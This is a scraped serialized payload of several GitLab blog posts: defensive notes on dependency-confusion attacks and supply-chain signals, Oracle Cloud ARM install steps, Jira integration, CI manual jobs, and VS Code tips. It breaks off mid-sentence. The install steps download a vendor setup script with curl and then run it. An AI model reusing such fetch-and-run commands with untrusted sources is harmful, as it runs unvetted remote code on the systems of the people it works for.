not yet been published to an official package registry (i.e., https://npmjs.org)\n* A package manager client configured in a way that prefers the official package registry\n\nWhile controlling the user environment is challenging, we can and should make sure that the behavior of our GitLab package registries is as intended and secure.\n\n### Investigating the behavior of package registries\n\nTo investigate, we opened an [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/321423) to review the behavior of our package registries and also some more dangerous aspects like the ability to run pre/post install scripts, override packages that are supported by package managers or using `--extra-index-url` with PyPi. Check out these instructions on [how to install a PyPI package](https://docs.gitlab.com/ee/user/packages/pypi_repository/#install-a-pypi-package).\n\n#### The TL;DR on our package registry checks\n\nLong story short: Of the multiple packages GitLab offers, only the npm package registry checks the official package registry, [npmjs.org](https://www.npmjs.com/package/npmjs.org), and this comes after verifying the presence of a package on gitlab.com. This means the implementations of our package managers follow best practices! 💪\n\nAnother interesting area we explored more deeply is the variety of ways one could maliciously use a package to interact or obtain information from a system. Thankfully, we are already checking for suspicious behavior like this with Package Hunter.\n\n## Beyond registry investigation\n\n### Dependencies of our Ruby codebase\n\nReviewing our registries wasn't enough. We have an important list of Ruby projects (about 300), and verifying if we were impacted was relatively easy. Thanks to a tool developed by my teammate and senior Security engineer, [Michael Henriksen](/company/team/#mhenriksen), I was able to quickly grab the Gemfiles to check and extract the source to make sure we are using the official [https://rubygems.org](https://rubygems.org). Our investigation indicates this was the case.\n\n### Verifying and updating NPM\n\nJavaScript is the second most frequently used programming language, so we needed to be sure that all our packages (around 160) were present on npmjs.org. This investigation showed us one package was not present: `@conventionalcomments/cc-parse`, a package that was developed by a previous team member. While we do use it internally, we had no reason to keep it only on gitlab.com. To ensure this didn't become an issue in the future we decided to [publish the package](https://www.npmjs.com/package/cc-parse) on npmjs.org.\n\n### Referencing Go\n\nDue to the way Go modules work, confusion attacks are not possible. Other types of attacks are possible, however, and I recommend reading [Michael Henriksen](/company/team/#mhenriksen)' blog post the summarizes his research, [\"Finding Evil Go Packages\"](https://michenriksen.com/blog/finding-evil-go-packages/).\n\nReferencing Go packages is very simple: You just need to provide the package URL such as `import \"github.com/stretchr/testify\"` and that's it. Any URL can be provided, which makes evaluating legitimate Go packages difficult. Nevertheless, we're looking at how we can close the gap and better protect customers using Go packages.\n\n## How do we avoid confusion attacks?\n\nCurrently only the npm package registry supports forwarding requests to npmjs.org when nothing is found on gitlab.com, this is an option which is [enabled by default](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#npm-forwarding) for self-managed users and currently enabled on our SaaS offering. Implementation of new package registries will make sure we always check first on GitLab prior to searching in public official registries.\n\n### Control the chaos\n\nWe recently published a blog post around how [GitLab helps protect against supply chain attacks](/blog/devops-platform-supply-chain-attacks/), including ways that customers can combine our powerful DevSecOps platform with a holistic security program to quickly gain control and visibility of their software supply chain.\n\nIn 2021, our plan is to introduce a new product category aptly called the Dependency Firewall. We believe that this planned set of features will help users prevent suspicious dependencies from being downloaded. As it stands today, the anticipated new product would include the ability to:\n\n* Verify package integrity from one single place. Users will be able to see what has been changed and test those packages for security vulnerabilities.\n* Filter the available upstream packages to include only approved, allow-listed packages.\n* Delay updates from packages that have been recently updated under suspicious circumstances. For example, users will be able to delay any packages in which the following circumstances have occurred:\n     * Author change\n     * Author information change\n     * Programming language change\n     * Activity after a long period of inactivity\n     * Large code changes\n     * [Introduction of an executable](https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems)\n     * [Executable files with a non-executable extension like .png](https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems)\n     * Name very similar to a popular package (typosquatting)\n* Audit and mirror every dependency to ensure users are running and requiring developers to take an active, documented role in vetting external dependencies.\n\nThanks to [Tim Rizzi](/company/team/#trizzi) for their contributions to this section.\n{: .note.text-center}\n\nSupply chain attacks are ongoing and increasing. So too then must be the work, vigilance and research of our security teams. We'll continue sharing information about the ways we're making our product stronger and more secure, but if you've got a specific question or topic area that you'd like to hear from us about, leave us a comment or get in touch with me on Twitter [@muffinbox33](https://twitter.com/Muffinbox33).\n\nCover image by [Gabriel Sollmann](https://unsplash.com/@gabons?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/storage?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[674,676],{"slug":18353,"featured":6,"template":678},"deep-dive-investigation-of-gitlab-packages","content:en-us:blog:deep-dive-investigation-of-gitlab-packages.yml","Deep Dive Investigation Of Gitlab Packages","en-us/blog/deep-dive-investigation-of-gitlab-packages.yml","en-us/blog/deep-dive-investigation-of-gitlab-packages",{"_path":18359,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18360,"content":18365,"config":18370,"_id":18372,"_type":16,"title":18373,"_source":17,"_file":18374,"_stem":18375,"_extension":20},"/en-us/blog/gitlab-oracle-cloud-arm-based",{"title":18361,"description":18362,"ogTitle":18361,"ogDescription":18362,"noIndex":6,"ogImage":17588,"ogUrl":18363,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18363,"schema":18364},"How to use GitLab with OCI ARM-based compute instances","We explain two ways to set up GitLab on Oracle ARM-based instances.","https://about.gitlab.com/blog/gitlab-oracle-cloud-arm-based","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab with OCI ARM-based compute instances\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2021-05-25\",\n      }",{"title":18361,"description":18362,"authors":18366,"heroImage":17588,"date":18367,"body":18368,"category":736,"tags":18369},[2816],"2021-05-25","\n\n[ARM-based processors](https://en.wikipedia.org/wiki/ARM_architecture) have gained popularity due to their energy-saving capabilities and performance as shown in the recent adoptions by Apple. Previously a mainstay for mobile, edge, or small devices, ARM-based chips are now used for almost all types of systems, including servers. \n\nThis surge in the use of ARM-based systems means development toolchains have to support building for the ARM architecture reliably and efficiently. It is here where the GitLab Runner shines, allowing users to run CI/CD jobs on ARM servers. Coupling the GitLab Runner with the Oracle Cloud Infrastructure (OCI) offerings of ARM-based compute instances lets development teams have best in class CI/CD infrastructure to target both ARM and x86 architecture.\n \nThe recommended method of installing GitLab is using the automated deployment options for OCI by clicking the \"[Deploy to Oracle Cloud](https://console.us-phoenix-1.oraclecloud.com/resourcemanager/stacks/create?region=home&zipUrl=https://gitlab.com/gitlab-com/alliances/oracle/sandbox-projects/gitlab-terraform-oci/-/jobs/artifacts/main/raw/oci-gitlab-orm.zip?job=package_repo)\" button, which takes advantage of full-tested scripts for single click deployment through the OCI console.s.\n\nIf you will be deploying manually on virtual machines on OCI, there are certain caveats users need to be aware of when setting up GitLab Runner and GitLab on an OCI ARM-based instance.\n\n## How to set up GitLab CI/CD on ARM instances\n\nThe core feature of [GitLab CI/CD](/topics/ci-cd/) is the runner – it executes all the instructions to accomplish the jobs in the CI/CD pipelines. One of its strengths is the support for the diverse architecture and operating systems, including Oracle Linux server distribution running on ARM-based systems. This functionality allows users to maintain diverse runners targeting different architectures for the various workloads of development teams. \n\nInstalling the GitLab Runner on ARM-based instances is straightforward: After adding the official GitLab package repository, install the runner. However, if you are running Oracle Linux Server release 8.x (ol/8), you will need to manually set up the package repository, because  ol/8 by PackageCloud, which GitLab uses to host packages, is not supported. \n\nTo set up the repository manually use the following commands:\n\n```\ncurl https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.rpm.sh > script.sh\nchmod +x script.sh\nos=el dist=8 ./script.sh\n```\n\n## How to set up GitLab EE/Core on ARM instances\n\nSimilar to the Runner, you will need to manually set up GitLab's package repository if you are running ol/8. The commands are similar, aside from the package URL as shown below: \n\n```\ncurl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.rpm.sh > script.sh\nchmod +x script.sh\nos=el dist=8 ./script.sh\nEXTERNAL_URL=\"[GITLAB-INSTANCE-URL]\" dnf install -y gitlab-ee\n```\n\nOne caveat to deploying to recent versions of GitLab using Omnibus is the [ARM64 cow bug affecting Redis](https://github.com/redis/redis/pull/8405), which is bundled with GitLab Omnibus installations. This bug only affects GitLab versions from 13.9 – which was the version in which the bundled Redis was upgraded to 6.0.10. You can install pre-13.9 versions of GitLab manually. For example, to install version 13.8use the command: `yum install gitlab-ee-13.8.6-ee.0.el8.aarch64`.\n\nThe fix for the bug is pulled into the [6.0 branch of the Redis upstream project](https://github.com/redis/redis/commit/dcf409f8e72dcd6bbf2f31d2ecc8f6f797c303c2) and will make its way to future GitLab releases. The bug only affects Redis on ARM64 architecture (aarch64) and is not specific to GitLab or the Oracle Linux server. You can [disable the bundled Redis instance and configure](https://docs.gitlab.com/omnibus/settings/redis.html) a separate local Redis instance or an external service.\n## Watch and learn\nWatch the video to see how to set up a Runner on an OCI ARM64 instance running the Oracle Linux server.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/Q2o0JYdQAWE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[736,1384,1385],{"slug":18371,"featured":6,"template":678},"gitlab-oracle-cloud-arm-based","content:en-us:blog:gitlab-oracle-cloud-arm-based.yml","Gitlab Oracle Cloud Arm Based","en-us/blog/gitlab-oracle-cloud-arm-based.yml","en-us/blog/gitlab-oracle-cloud-arm-based",{"_path":18377,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18378,"content":18384,"config":18390,"_id":18392,"_type":16,"title":18393,"_source":17,"_file":18394,"_stem":18395,"_extension":20},"/en-us/blog/gitlab-and-jira-integration-the-final-steps",{"title":18379,"description":18380,"ogTitle":18379,"ogDescription":18380,"noIndex":6,"ogImage":18381,"ogUrl":18382,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18382,"schema":18383},"GitLab and Jira integration: the final steps","The last of our three-part series on GitLab and Jira integrations offers a step-by-step look at how the tools work together.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679490/Blog/Hero%20Images/jira-importer-blog-post.png","https://about.gitlab.com/blog/gitlab-and-jira-integration-the-final-steps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and Jira integration: the final steps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tye Davis\"}],\n        \"datePublished\": \"2021-05-24\",\n      }",{"title":18379,"description":18380,"authors":18385,"heroImage":18381,"date":18387,"body":18388,"category":734,"tags":18389},[18386],"Tye Davis","2021-05-24","\n_This is the third in our three-part series on GitLab and Jira integrations. [Part one](/blog/integrating-gitlab-com-with-atlassian-jira-cloud/) explained how to integrate GitLab.com with Jira Cloud. [Part two](/blog/gitlab-jira-integration-selfmanaged/) walked through a detailed explanation of integrating GitLab self-managed with Jira._\n\nAfter the integration is set up on GitLab and Jira, you can:\n\n* Refer to any Jira issue by its ID in GitLab branch names, commit messages, and merge request titles.\n\n* Using commit messages in GitLab, you have the ability to move Jira issues along that Jira projects defined transitions. Here you can see that this Jira issue has Backlog, Selected for Development, In Progress and Done. \n\n![Issue View in Jira](https://about.gitlab.com/images/blogimages/atlassianjira/issueview.png){: .shadow.medium.center}\nIssue View in Jira\n{: .note.text-center}\n\n* As referenced in the Base GitLab-Jira integration, when you comment in a merge request and commit referencing an issue, e.g., PROJECT-7, will add a comment in Jira issue in the format. In addition, by commenting in a jira transition (putting a “#” first), this will initiate the movement of a Jira Issue to the desired transition. Below is using the built-in GitLab Web IDE (this can be done in your Web IDE of choice as well).\n\n![Comment in a Commit/MR](https://about.gitlab.com/images/blogimages/atlassianjira/commitcomment.png){: .shadow.medium.center}\nComment in a Commit/MR\n{: .note.text-center}\n\n* Currently, the Jira-GitLab Dev Panel integration via DVCS refreshes on a 60-min schedule. To expedite, you’ll need to manually refresh the specific project with your most recent changes.\n\n![Dev Panel refreshes every 60 minutes](https://about.gitlab.com/images/blogimages/atlassianjira/devpanelrefresh.png){: .shadow.medium.center}\nDev Panel refreshes every 60 minutes\n{: .note.text-center}\n\n* See the linked branches, commits, and merge requests in Jira issues (merge requests are called “pull requests” in Jira issues).\nJira issue IDs must be formatted in uppercase for the integration to work.\n\n![See GitLab linked in the Dev Panel](https://about.gitlab.com/images/blogimages/atlassianjira/gitlabdevpanel.png){: .shadow.medium.center}\nSee GitLab linked in the Dev Panel\n{: .note.text-center}\n\n* Click the links to see your GitLab repository data.\n\n![Click into the commits](https://about.gitlab.com/images/blogimages/atlassianjira/clickintocommit.png){: .shadow.medium.center}\nClick into the commits\n{: .note.text-center}\n\n![See GitLab linked in the Dev Panel](https://about.gitlab.com/images/blogimages/atlassianjira/clickintopr.png){: .shadow.medium.center}\nClick into the merge (pull) requests\n{: .note.text-center}\n\nFor more information on using Jira Smart Commits to track time against an issue, specify an issue transition, or add a custom comment, see the Atlassian page Using [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html)\n\n## View Jira Issues within GitLab\n\nYou can browse and search issues from a selected Jira project directly in GitLab. This requires configuration in GitLab by an administrator.\n\n* In the GitLab integration setup for Jira, click \"enable Jira issues.\"\n\n![Enable Jira issues in GitLab](https://about.gitlab.com/images/blogimages/atlassianjira/enablejiraissues.png){: .shadow.medium.center}\nEnable Jira issues in GitLab\n{: .note.text-center}\n\n* Locate your project key in Jira.\n\n![Locate your project key in Jira](https://about.gitlab.com/images/blogimages/atlassianjira/locateprojectkey.png){: .shadow.medium.center}\nLocate your project key in Jira\n{: .note.text-center}\n\n* Add your proejct key into the GitLab integration setup for Jira.\n\n![Add your proejct key to GitLab](https://about.gitlab.com/images/blogimages/atlassianjira/addprojectkey.png){: .shadow.medium.center}\nAdd your proejct key to GitLab\n{: .note.text-center}\n\n* Select \"Jira Issues\", then \"Issue List\" from the left panel in GitLab\n\n![Select Jira Issues on left panel](https://about.gitlab.com/images/blogimages/atlassianjira/selectjiraissues.png){: .shadow.medium.center}\nSelect Jira Issues\n{: .note.text-center}\n\nFrom the Jira Issues menu, click Issues List. The issue list defaults to sort by Created date, with the newest issues listed at the top. You can change this to Last updated.\nIssues are grouped into tabs based on their [Jira status](https://confluence.atlassian.com/adminjiraserver070/defining-status-field-values-749382903.html).\n\n* The Open tab displays all issues with a Jira status in any category other than Done.\n* The Closed tab displays all issues with a Jira status categorized as Done.\n* The All tab displays all issues of any status.\n\nClick an issue title to open its original Jira issue page for full details.\n\n![View Jira issues in GitLab](https://about.gitlab.com/images/blogimages/atlassianjira/viewjiraissues.png){: .shadow.medium.center}\nView Jira issues in GitLab\n{: .note.text-center}\n\n### Search and filter the issues list\n\nTo refine the list of issues, use the search bar to search for any text contained in an issue summary (title) or description.\nYou can also filter by labels, status, reporter, and assignee using URL parameters. Enhancements to be able to use these through the user interface are [planned](https://gitlab.com/groups/gitlab-org/-/epics/3622).\n\n* To filter issues by labels, specify one or more labels as part of the labels[] parameter in the URL. When using multiple labels, only issues that contain all specified labels are listed. /-/integrations/jira/issues?labels[]=backend&labels[]=feature&labels[]=QA\n* To filter issues by status, specify the status parameter in the URL. /-/integrations/jira/issues?status=In Progress\n* To filter issues by reporter, specify a reporter’s Jira display name for the author_username parameter in the URL. /-/integrations/jira/issues?author_username=John Smith\n* To filter issues by assignee, specify their Jira display name for the assignee_username parameter in the URL. /-/integrations/jira/issues?assignee_username=John Smith\n\n## Troubleshooting\nIf these features do not work as expected, it is likely due to a problem with the way the integration settings were configured.\n\n### GitLab is unable to comment on a Jira issue\n\nMake sure that the Jira user you set up for the integration has the correct access permission to post comments on a Jira issue and also to transition the issue, if you’d like GitLab to also be able to do so. Jira issue references and update comments will not work if the GitLab issue tracker is disabled.\n\n### GitLab is unable to close a Jira issue\n\nMake sure the Transition ID you set within the Jira settings matches the one your project needs to close an issue.\nMake sure that the Jira issue is not already marked as resolved; that is, the Jira issue resolution field is not set. (It should not be struck through in Jira lists.)\n\n## Conclusion\n \nGitLab helps teams ship software faster with technology integration options, such as the integration with Jira, that automate tasks, provide visibility into development progress and the greater end-to-end software lifecycle. We recognize that many companies use Jira for Agile project management and our seamless integration brings Jira together with GitLab. \n\n## Watch and learn\n\nMore of a video person? For a walkthrough of the integration with GitLab for Jira, watch and learn how to configure GitLab Jira Integration using Marketplace App.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/fWvwkx5_00E\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n",[2368,232,4103],{"slug":18391,"featured":6,"template":678},"gitlab-and-jira-integration-the-final-steps","content:en-us:blog:gitlab-and-jira-integration-the-final-steps.yml","Gitlab And Jira Integration The Final Steps","en-us/blog/gitlab-and-jira-integration-the-final-steps.yml","en-us/blog/gitlab-and-jira-integration-the-final-steps",{"_path":18397,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18398,"content":18404,"config":18409,"_id":18411,"_type":16,"title":18412,"_source":17,"_file":18413,"_stem":18414,"_extension":20},"/en-us/blog/dag-manual-fix",{"title":18399,"description":18400,"ogTitle":18399,"ogDescription":18400,"noIndex":6,"ogImage":18401,"ogUrl":18402,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18402,"schema":18403},"How to use manual jobs with `needs:` relationships","Are you using manual jobs and needs relationship in your CI/CD pipeline? Learn more about the fix that might cause your pipeline to behave differently.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683170/Blog/Hero%20Images/blog_cover2.png","https://about.gitlab.com/blog/dag-manual-fix","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use manual jobs with `needs:` relationships\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2021-05-20\",\n      }",{"title":18399,"description":18400,"authors":18405,"heroImage":18401,"date":18406,"body":18407,"category":734,"tags":18408},[902],"2021-05-20","\n\n## A bug when job `needs` a manual job\n\nIn [13.12 we fixed a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/31264) that might affect the existing behavior of your pipeline. We explain why we had to fix the bug, the possible impact of this change on your pipeline, and the proposed workaround if you would like to revert this behavior.\n\n## Background on a two-job pipeline\n\nIn GitLab CI/CD you can easily configure a job to require manual intervention before it runs. The job gets added to the pipeline, but doesn't run until you click the **play** button on it.\n\nLet's look at a two-job pipeline:\n\n```yaml\nstages:\n  - stage1\n  - stage2\n\njob1:\n  stage: stage1\n  script:\n    - echo \"this is an automatic job\"\n\nmanual_job:\n  stage: stage2\n  script:\n    - echo \"This is a manual job which doesn't start automatically, and the pipeline can complete without it starting.\"\n  when: manual # This setting turns a job into a manual one\n```\n\nThis is how it looks when we look at the pipeline graph:\n\n![image2](https://about.gitlab.com/images/blogimages/11-05-2021-when-job-needs-manual/blog1.png){: .shadow.medium.center.wrap-text}\n\nNotice that the manual job gets skipped, and the pipeline completes successfully even though the manual job did not get triggered. This happens because manual jobs are considered optional, and do not need to run.\n\nInternally, manual jobs have `allow_failure` set to true by default, which means that these skipped manual jobs do not cause a pipeline failure. The YAML code below demonstrates how to write the manual job, which results in the same behavior. The job doesn't automatically start, is skipped, and the pipeline passes.\n\n```yaml\nmanual_job:\n  stage: stage2\n  script:\n    - echo \"This is a manual job which doesn't start automatically, and the pipeline can complete without it starting.\"\n  when: manual\n  allow_failure: true # this line is redundant since manual job has this setting by default\n```\n\nYou can set `allow_failure` to true for any job, including both manual and automatic jobs, and then the pipeline does not care if the job runs successfully or not.\n\n### How to expand the configuration with `needs` (DAG)\n\n  Last year we introduced the [`needs` keyword which lets you create a Directed Acyclic Graphs (DAG) to speed up your pipeline](https://docs.gitlab.com/ee/ci/yaml/#needs). The `needs` keyword creates a dependency between two jobs regardless of their stage.\n\nLet's look at this example:\n\n```yaml\nstages:\n  - stage1\n  ....\n  - stage10\n\njob1: # this is the first job that runs in the pipeline\n  stage: stage1\n  script:\n    - echo \"exit 0\"\n.....\n\njob10:\n  needs:  # Defined a \"needs\" relationship with job1\n    - job1\n  stage: stage10\n  script:\n    - echo \"This job runs as soon as job1 completes, even though this job is in stage10.\"\n```\n\nThe `needs` keyword creates a dependency between the two jobs, so `job10` runs as soon as `job1` **finishes running** successfully, regardless of the stage ordering.\n\nSo what happens if a job `needs` a manual job, that doesn't start running automatically?\n\nLet's look at the following example:\n\n```yaml\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  script: exit 0\n\ntest:\n  stage: test\n  when: manual\n  script: exit 0\n\ndeploy:\n  stage: deploy\n  script: echo \"when should this job run?\"\n  needs:\n    - test\n```\n\nBefore 13.12, this type of configuration would cause the pipeline to get stuck. The `deploy` job can only start when the `test` job completes, but the `test` job does not start automatically. The rest of the pipeline stops and waits for someone to run the manual `test` job.\n\n![image3](https://about.gitlab.com/images/blogimages/11-05-2021-when-job-needs-manual/blog2.png){: .shadow.medium.center.wrap-text}\n\nThis behavior is even worse with larger pipelines:\n\n![image4](https://about.gitlab.com/images/blogimages/11-05-2021-when-job-needs-manual/blog3.png){: .shadow.medium.center.wrap-text}\n\nThe example above shows there is a needs relationship between `post test` job and the `test` job (which is a manual job) as you can see the pipeline is stuck in a running state and any subsequent jobs will not run.\n\nThis was not the behavior most users expected, so we improved it in 13.12. Now, if there is a `needs` relationship pointing to a manual job, the pipeline doesn't stop by default anymore. The manual job is considered optional by default in all cases now. Any jobs that have a `needs` relationship to manual jobs are now also considered optional and skipped if the manual job isn't triggered. If you start the manual job, the jobs that need it can start after it completes.\n\nNote that if you start the manual job before a later job that has it in a `needs` configuration, the later job will still wait for the manual job to finishes running.\n\n## What if I don't want this new behavior?\n\nOne of the reasons we selected this solution is that you can quickly revert this change. If you made use of this inadvertent behavior and configured your pipelines to use it to block on manual jobs, it's easy to return to that previous behavior. All you have to do is override the default `allow_failure` in the manual job with `allow_failure: false`. This way the manual job is no longer optional, and the pipeline status will be marked as blocked and wait for you to run the job manually.\n\n```yaml\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  script: exit 0\n\ntest:\n  stage: test\n  when: manual\n  allow_failure: false  # Set to false to return to the previous behavior.\n  script: exit 0\n\ndeploy:\n  stage: deploy\n  script: exit 0\n  needs:\n    - test\n```\n\nShare any thoughts, comments, or questions, by opening an issue in GitLab and mentioning me (`@dhershkovitch`).\n",[1384,944,4103],{"slug":18410,"featured":6,"template":678},"dag-manual-fix","content:en-us:blog:dag-manual-fix.yml","Dag Manual Fix","en-us/blog/dag-manual-fix.yml","en-us/blog/dag-manual-fix",{"_path":18416,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18417,"content":18422,"config":18426,"_id":18428,"_type":16,"title":18429,"_source":17,"_file":18430,"_stem":18431,"_extension":20},"/en-us/blog/vscode-workflows-for-working-with-gitlab",{"title":18418,"description":18419,"ogTitle":18418,"ogDescription":18419,"noIndex":6,"ogImage":11919,"ogUrl":18420,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18420,"schema":18421},"Visual Studio code editor: Eight tips for using GitLab VS Code","Learn how to use the Visual Studio code editor more efficiently and meet some of the GitLab contributors that made these new features happen.","https://about.gitlab.com/blog/vscode-workflows-for-working-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Visual Studio code editor: Eight tips for using GitLab VS Code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tomas Vik\"}],\n        \"datePublished\": \"2021-05-20\",\n      }",{"title":18418,"description":18419,"authors":18423,"heroImage":11919,"date":18406,"body":18424,"category":734,"tags":18425},[16443],"\n\nAs a software engineer, I spend a significant portion of my day in the Visual Studio code editor. Since I started maintaining the officially supported [GitLab VS Code extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow), I've developed a few tricks that make me a productive GitLab user. Below, I share eight tips that make my work more efficient and productive, while also introducing you to some of the GitLab contributors who made this tooling happen.\n\n## What is Visual Studio Code?\n[Visual Studio Code](https://en.wikipedia.org/wiki/Visual_Studio_Code), developed by Microsoft, lets a user debug source code in various languages from the editor. It is also used for syntax highlighting, intelligent code completion, code refactoring, embedded Git and autocomplete. VS Code, as it is commonly known, can be launched or attached to running apps.\n\nIt is designed for Windows, Linux, and MacOS. VS Code can be used with several programming languages such as Java, JavaScript, Node.js, Python, C++ and Fortran. Support for additional languages is provided by freely available extensions on the [VS Code Marketplace](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow).\n\nBelow are eight tips for using GitLab VS Code.\n\n### How to clone any GitLab project\n\nGitLab contributor [Felix Haase](https://gitlab.com/haasef) recently [implemented a feature that lets you clone any GitLab project where you are a member](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/172). To clone the project, use the official `Git: Clone` command and select your GitLab instance. Use the `Git: Clone` command by selecting the command from the [Command Palette](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette).\n\nThis feature can save you time if you already know the name of the project you want to clone.\n\n![VS Code clone dialogue](https://about.gitlab.com/images/blogimages/vscode-workflows-for-working-with-gitlab/clone.png){: .shadow.medium.center}\nVS Code lets you filter which project to clone.\n{: .note .text-center}\n\n### How to view MRs and issues\n\nIt is easy to look through issues and MRs that you created, are assigned to, or are reviewing using GitLab. The lesser-known feature of the GitLab Workflow extension is [custom queries](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/main/docs/user/custom-queries.md). Custom search queries allow you to refine the search expressions for issues and MRs that appear in the VS Code side panel. You can apply all the advanced search terms you are used to from the GitLab web search: Labels, full-text search expression, milestones, authors, assignees, and more.\n\n![GitLab extension sidebar](https://about.gitlab.com/images/blogimages/vscode-workflows-for-working-with-gitlab/issues-and-mrs.png){: .shadow.medium.center}\nSee your issues and MRs in the VS Code sidebar.\n{: .note .text-center}\n\nAnother option is [reviewing the MRs in VS Code](/blog/mr-reviews-with-vs-code/). The final functionality that is missing in MR review is [creating new comments on the MR diff](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/342), which we plan to ship by July 2021.\n\n### How to create an MR with two clicks\n\nIf you use the `git` command in a terminal, you might have noticed that pushing your branch to GitLab produces the following output:\n\n```txt\nremote: To create a merge request for my-new-branch, visit:\nremote: https://gitlab-instance.com/my-group/my-project/merge_requests/new?merge_request%5Bsource_branch%5D=my-new-branch\n```\n\nAfter clicking the link, the terminal will open your browser on a new MR page where you can create an MR from the branch you just pushed.\n\nWhen I started pushing my branches through VS Code, I missed this feature. To the point that I searched through the VS Code Git Extension logs to find the create MR link (command `Git: Show Git Output`).\n\nLuckily, GitLab contributor [Jonas Tobias Hopusch](https://gitlab.com/jotoho) implemented a [status bar button](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/155) that lets you create MRs just as easily.\n\nTo create an MR from your changes, push them to your remote repository (the cloud icon next to the branch name) and then click on the `GitLab: Create MR.` button.\n\n![VS Code status bar](https://about.gitlab.com/images/blogimages/vscode-workflows-for-working-with-gitlab/status-bar-create-mr.png){: .shadow.medium.center}\nVS Code status bar with buttons from GitLab extension.\n{: .note .text-center}\n\n### How to configure your GitLab CI\n\nThe GitLab extension helps you edit your `.gitlab-ci.yml` configuration file in two ways: Autocompleting environment variables and validating the configuration.\n\nThanks to [Kev's](https://gitlab.com/KevSlashNull) fantastic [contribution](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/140), you can [use CI](/solutions/continuous-integration/) variable autocompletion anywhere in your `.gitlab-ci.yml`. The hints even include variable descriptions and explain supported GitLab versions.\n\n![CI variables autocomlete dialogue](https://about.gitlab.com/images/blogimages/vscode-workflows-for-working-with-gitlab/ci-autocomplete.png){: .shadow.medium.center}\nCI variables autocomplete dialogue.\n{: .note .text-center}\n\nWhen you finish writing your `.gitlab-ci.yml` CI configuration, you can use the `GitLab: Validate GitLab CI config` command to surface any problems before committing the CI config to your repository.\n\n### How to create and paste project snippets\n\nIs there a piece of text that you and your teammates often use? Maybe it is a license header for a file or a test scenario template. You can use GitLab snippets in combination with Visual studio code editor to save you a few keystrokes.\n\nFor example, you can create a [test file snippet](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/snippets/2110322) with the `GitLab: Create snippet` command and then paste it into every new test file you create with the `GitLab: Insert snippet` command.\n\n![Paste Snippet dialogue](https://about.gitlab.com/images/blogimages/vscode-workflows-for-working-with-gitlab/paste-snippet.png){: .shadow.medium.center}\nPaste Snippet dialogue.\n{: .note .text-center}\n\nI mostly use snippets when I want to share a big blob of text. I select the text and then create the snippet with the `GitLab: Create snippet` command.\n\n### How to copy web URL for a project file\n\nMost of the [communication at GitLab happens asynchronously](https://handbook.gitlab.com/handbook/values/#bias-towards-asynchronous-communication). So instead of being able to show your colleague an open file in your editor, you'll need to be able to create a textual pointer to the file.\n\nA straightforward way to do that is to use the `GitLab: Copy link to active file on GitLab` command, which will copy the web URL of the open file into your clipboard. It even includes the line number or a range of lines based on your cursor or selection in the Visual studio code editor.\n\nYou might also consider using the `GitLens: Copy Remote File URL`, which even includes the commit SHA in the URL, making it a permalink. The permalink will always point to the same version of the file regardless of further commits to your branch. We'll look at the GitLens extension in tip number 7 a bit later on.\n\nFor the GitLab Enterprise/Community Edition you can use:\n\"gitweblinks.gitLabEnterprise\": [\n    {\n        \"http\": \"https://local-gitlab\",\n        \"ssh\": \"git@local-gitlab\"\n    }\n]\n\n#### What to do if VS Code source control is not working\n\nA `SourceControl` is the entity responsible for populating the [Source Control model](https://code.visualstudio.com/api/extension-guides/scm-provider) with resource states, instances of `SourceControlResourceState`. Resource states are organized in groups, instances of `SourceControlResourceGroup`.\n\nLinking to issues in source code is a normal part of the VS Code workflow, especially when there's some logic that's difficult to understand or when there's a //TODO comment that needs action. [Users report experiencing 